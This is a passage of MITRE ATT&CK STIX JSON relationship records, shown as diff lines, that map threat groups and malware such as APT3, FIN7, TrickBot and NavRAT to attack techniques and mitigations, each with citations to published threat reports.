Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can list out currently running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--daf56e8e-ea82-4ef2-bb03-78dd7e6ef3c0", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.400Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html" + }, + { + "source_name": "evolution of pirpi", + "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.", + "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can use WMI queries to retrieve data from compromised hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--42cc506f-e9c2-43f1-a68f-3c6973cca2dc", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:52.972Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) uses tasklist /v to check running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b9e42e0a-e779-4491-b107-a064254a7da3", + "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "source_name": "Talos NavRAT May 2018", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.054Z", + "id": "relationship--4b521c7b-c66b-4bbc-847e-d6a13e9ae62c", + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "modified": "2019-04-10T15:59:09.269Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "[Orangeworm](https://attack.mitre.org/groups/G0071) has copied its backdoor across open network shares, including ADMIN$, C$WINDOWS, D$WINDOWS, and E$WINDOWS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e09c37a3-ae23-403e-93d5-aef4953bd43c", + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "modified": "2019-03-25T15:36:46.805Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[DealersChoice](https://attack.mitre.org/software/S0243) leverages vulnerable versions of Flash to perform execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b12c9b3f-bff1-4c73-bb86-a9665948405c", + "source_ref": "malware--8f460983-1bbb-4e7e-8094-f0b5e720f658", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.", + "source_name": "Sofacy DealersChoice", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can use a public UAC bypass method to elevate privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b9165c4a-aac7-479d-8ad9-22c25e031a76", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.046Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44", + "description": "[Equation](https://attack.mitre.org/groups/G0020) is known to have the capability to overwrite the firmware on hard drives from some manufacturers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.055Z", + "id": "relationship--51006a56-a1fa-4467-b930-6488de0d32bd", + "source_ref": "intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9", + "modified": "2019-01-31T18:38:24.506Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.", + "source_name": "Kaspersky Equation QA", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.079Z", + "id": "relationship--bab6aadc-7a93-43e4-88cb-904fd1f2fddd", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.917Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "source_name": "DOJ APT10 Dec 2018", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072)'s service-based DLL implant traverses the FTP server\u2019s directories looking for files with keyword matches for computer names or certain keywords.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6ea6ad5d-28f1-425c-a2e9-c51a12b14d87", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.206Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used mshta.exe to execute VBScript to execute malicious code on victim systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--9e77b81d-6298-4233-8baa-f419031a9d64", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.422Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.046Z", + "id": "relationship--d0ed3128-67f0-43dd-b1d9-01843eb71b77", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.642Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[RGDoor](https://attack.mitre.org/software/S0258) uploads and downloads files to and from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ee03d4e8-79e5-408f-a533-462774da46ed", + "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", + "source_name": "Unit 42 RGDoor Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses a custom crypter leveraging Microsoft\u2019s CryptoAPI to encrypt C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--71bb09bc-0405-43ed-9848-bf685234c670", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.502Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.", + "source_name": "Fidelis TrickBot Oct 2016", + "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.028Z", + "id": "relationship--389854e8-32d1-406c-ab58-2ee2918bf7ed", + "source_ref": "course-of-action--514e7371-a344-4de7-8ec3-3aa42b801d52", + "modified": "2019-07-25T11:14:24.285Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.034Z", + "id": "relationship--325ccde0-2d5a-4306-9c4e-e1a554ee0d87", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.547Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[yty](https://attack.mitre.org/software/S0248) collects the victim\u2019s username.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8732cda7-068e-439d-a25a-1b056363d1f7", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "modified": "2019-04-25T00:09:23.166Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) downloads encoded payloads and decodes them on the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--03303147-db81-4cb3-9368-98ee4f963c1a", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.205Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) clears the system event logs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6c7285ce-7ae2-4d85-a629-4f6eab659fb1", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-08-12T17:30:07.419Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) includes a capability to modify the \"beacon\" payload to eliminate known signatures or unpacking methods.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--cf7cd81f-3684-469f-936b-a6098ff76dbd", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.284Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[FruitFly](https://attack.mitre.org/software/S0277) will delete files on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--66a13868-e416-49d4-85ad-318f93f91a29", + "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s Install-SSP Persistence module can be used to establish by installing a SSP DLL.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--be2d0ead-f24c-4b76-bdd9-695d163bcbf3", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.105Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has cleared select event log entries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--885cd1fe-9e7b-4e94-a6cc-01bb8ad655fd", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:37.970Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.030Z", + "id": "relationship--f4aaf7ec-7ff1-4519-bd93-3eaf3074d11f", + "source_ref": "course-of-action--a90da496-b460-47e8-92e7-cc36eb00bd9a", + "modified": "2019-07-31T19:26:36.100Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--49404706-aa42-4914-a273-2eeb217e6477", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.887Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + }, + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) can communicate over HTTP, SMTP, and POP3 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--167e1e15-1fe1-4073-aac1-062557fdd79f", + "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "modified": "2019-01-30T18:08:51.126Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "Microsoft SIR Vol 19", + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[KARAE](https://attack.mitre.org/software/S0215) can upload and download files, including second-stage malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--2fa47765-a47e-430b-9a88-68db5795f557", + "source_ref": "malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) has the capability to delete files and scripts from the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3d4a9fd6-34cb-4883-a00c-4aea3d00869e", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "modified": "2019-04-24T23:40:23.393Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "source_name": "Unit 42 OilRig Sept 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Pisloader](https://attack.mitre.org/software/S0124) uses DNS as its C2 protocol.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--59d4e54d-66b8-4603-b189-ba67160da44d", + "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "source_name": "Palo Alto DNS Requests", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Rover](https://attack.mitre.org/software/S0090) has keylogging functionality.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f4480854-9424-49d5-8b54-f839302e3ee7", + 